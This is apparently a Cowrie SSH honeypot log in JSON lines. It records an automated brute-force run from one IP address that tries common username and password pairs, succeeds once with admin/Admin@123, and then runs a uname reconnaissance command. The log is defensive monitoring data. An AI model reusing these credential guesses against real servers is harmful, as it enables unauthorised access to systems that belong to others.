{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:58.032541Z","src_ip":"165.22.184.88","session":"dccac13d6ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52340,"dst_ip":"10.17.0.5","dst_port":22,"session":"5224b9d5fd8d","protocol":"ssh","message":"New connection: 45.156.87.253:52340 (10.17.0.5:22) [session: 5224b9d5fd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:58.277627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:58.281191Z","src_ip":"45.156.87.253","session":"5224b9d5fd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:58.361760Z","src_ip":"45.156.87.253","session":"5224b9d5fd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:58.604722Z","src_ip":"45.156.87.253","session":"5224b9d5fd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:59.765808Z","src_ip":"45.156.87.253","session":"5224b9d5fd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38836,"dst_ip":"10.17.0.5","dst_port":22,"session":"145f1a6b3880","protocol":"ssh","message":"New connection: 45.156.87.253:38836 (10.17.0.5:22) [session: 145f1a6b3880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:01.368524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:01.373952Z","src_ip":"45.156.87.253","session":"145f1a6b3880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:01.458489Z","src_ip":"45.156.87.253","session":"145f1a6b3880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:01.708460Z","src_ip":"45.156.87.253","session":"145f1a6b3880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:02.797586Z","src_ip":"45.156.87.253","session":"145f1a6b3880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38846,"dst_ip":"10.17.0.5","dst_port":22,"session":"196275def5cf","protocol":"ssh","message":"New connection: 45.156.87.253:38846 (10.17.0.5:22) [session: 196275def5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:04.552616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:04.612031Z","src_ip":"45.156.87.253","session":"196275def5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:04.634483Z","src_ip":"45.156.87.253","session":"196275def5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:04.949745Z","src_ip":"45.156.87.253","session":"196275def5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:06.032869Z","src_ip":"45.156.87.253","session":"196275def5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcddfa4d7be1","protocol":"ssh","message":"New connection: 45.156.87.253:38860 (10.17.0.5:22) [session: dcddfa4d7be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:07.737897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:07.743834Z","src_ip":"45.156.87.253","session":"dcddfa4d7be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:07.825831Z","src_ip":"45.156.87.253","session":"dcddfa4d7be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:08.080384Z","src_ip":"45.156.87.253","session":"dcddfa4d7be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:09.212643Z","src_ip":"45.156.87.253","session":"dcddfa4d7be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51554,"dst_ip":"10.17.0.5","dst_port":22,"session":"822852679ffe","protocol":"ssh","message":"New connection: 45.156.87.253:51554 (10.17.0.5:22) [session: 822852679ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:10.815769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:10.819952Z","src_ip":"45.156.87.253","session":"822852679ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:10.902373Z","src_ip":"45.156.87.253","session":"822852679ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:11.151384Z","src_ip":"45.156.87.253","session":"822852679ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:12.235953Z","src_ip":"45.156.87.253","session":"822852679ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51568,"dst_ip":"10.17.0.5","dst_port":22,"session":"261621cb1d4c","protocol":"ssh","message":"New connection: 45.156.87.253:51568 (10.17.0.5:22) [session: 261621cb1d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:13.914459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:13.953043Z","src_ip":"45.156.87.253","session":"261621cb1d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:14.001216Z","src_ip":"45.156.87.253","session":"261621cb1d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123","message":"login attempt [gitlab-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:14.318718Z","src_ip":"45.156.87.253","session":"261621cb1d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:15.402667Z","src_ip":"45.156.87.253","session":"261621cb1d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac17f957d9de","protocol":"ssh","message":"New connection: 45.156.87.253:51572 (10.17.0.5:22) [session: ac17f957d9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.056708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.060352Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.140672Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.384966Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.583858Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.586785Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.671690Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:17.675635Z","src_ip":"45.156.87.253","session":"ac17f957d9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48570,"dst_ip":"10.17.0.5","dst_port":22,"session":"0505a506f273","protocol":"ssh","message":"New connection: 45.156.87.253:48570 (10.17.0.5:22) [session: 0505a506f273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:20.100827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:20.104735Z","src_ip":"45.156.87.253","session":"0505a506f273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:20.185036Z","src_ip":"45.156.87.253","session":"0505a506f273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:20.429849Z","src_ip":"45.156.87.253","session":"0505a506f273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.610146284103394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:21.405720Z","src_ip":"50.62.181.92","session":"538eedf72f2f","protocol":"telnet"}
